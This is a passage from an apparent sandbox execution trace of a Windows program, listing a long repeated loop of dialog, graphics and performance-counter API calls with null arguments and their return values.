hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.820] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.821] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.821] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.821] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.821] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.821] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.821] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.821] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.821] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.821] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.821] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.821] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192837048, cy=27, fuLoad=0x0) returned 0x0 [0026.821] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.821] GetLastError () returned 0x715 [0026.821] SetLastError (dwErrCode=0x715) [0026.821] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.821] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.821] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.821] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.821] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.821] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.821] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.821] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.821] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.821] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.821] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.822] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.822] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.822] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.822] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.822] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.822] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.822] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.822] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.822] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.822] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.822] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.822] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.822] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.822] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192818103, cy=27, fuLoad=0x0) returned 0x0 [0026.822] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.822] GetLastError () returned 0x715 [0026.822] SetLastError (dwErrCode=0x715) [0026.822] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.822] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.822] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.822] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.822] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.822] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.822] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.822] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.823] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.823] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.823] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.823] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.823] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.823] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.823] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.823] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.823] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.823] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.823] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.823] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.823] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.823] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.823] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.823] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.823] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192799158, cy=27, fuLoad=0x0) returned 0x0 [0026.823] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.823] GetLastError () returned 0x715 [0026.823] SetLastError (dwErrCode=0x715) [0026.823] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.823] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.823] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.823] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.823] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.823] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.824] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.824] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.824] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.824] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.824] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.824] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.824] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.824] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.824] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.824] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.824] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.824] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.824] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.824] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.824] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.824] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.824] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.824] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.824] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192780213, cy=27, fuLoad=0x0) returned 0x0 [0026.824] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.824] GetLastError () returned 0x715 [0026.824] SetLastError (dwErrCode=0x715) [0026.824] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.824] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.824] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.824] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.825] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.825] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.825] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.825] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.825] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.825] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.825] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.825] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.825] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.825] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.825] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.825] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.825] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.825] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.825] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.825] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.825] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.825] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.825] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.825] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.825] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192761268, cy=27, fuLoad=0x0) returned 0x0 [0026.825] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.825] GetLastError () returned 0x715 [0026.825] SetLastError (dwErrCode=0x715) [0026.825] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.826] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.826] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.826] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.826] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.826] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.826] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.826] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.826] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.826] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.826] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.826] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.826] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.826] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.826] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.826] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.826] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.826] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.826] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.826] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.826] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.826] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.826] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.826] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.826] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192742323, cy=27, fuLoad=0x0) returned 0x0 [0026.826] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.826] GetLastError () returned 0x715 [0026.827] SetLastError (dwErrCode=0x715) [0026.827] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.827] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.827] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.827] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.827] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.827] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.827] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.827] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.827] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.827] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.827] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.827] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.827] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.827] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.827] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.827] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.827] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.827] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.827] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.827] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.827] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.827] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.827] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.827] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.827] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192723378, cy=27, fuLoad=0x0) returned 0x0 [0026.827] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.828] GetLastError () returned 0x715 [0026.828] SetLastError (dwErrCode=0x715) [0026.828] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.828] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.828] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.828] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.828] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.828] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.828] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.828] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.828] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.828] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.828] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.828] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.828] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.828] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.828] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.828] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.828] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.828] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.828] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.828] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.828] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.828] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.828] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.828] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.828] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192704433, cy=27, fuLoad=0x0) returned 0x0 [0026.828] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.829] GetLastError () returned 0x715 [0026.829] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.829] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.829] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.829] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.829] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.829] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.829] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.829] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.829] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.829] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.829] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.829] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.829] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.829] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.829] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.829] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.829] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.829] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.829] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.829] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.829] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.829] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.829] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.829] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.829] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192685488, cy=27, fuLoad=0x0) returned 0x0 [0026.829] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.830] GetLastError () returned 0x715 [0026.830] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.830] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.830] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.830] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.830] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.830] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.830] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.830] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.830] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.830] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.830] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.830] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.830] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.830] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.830] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.830] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, 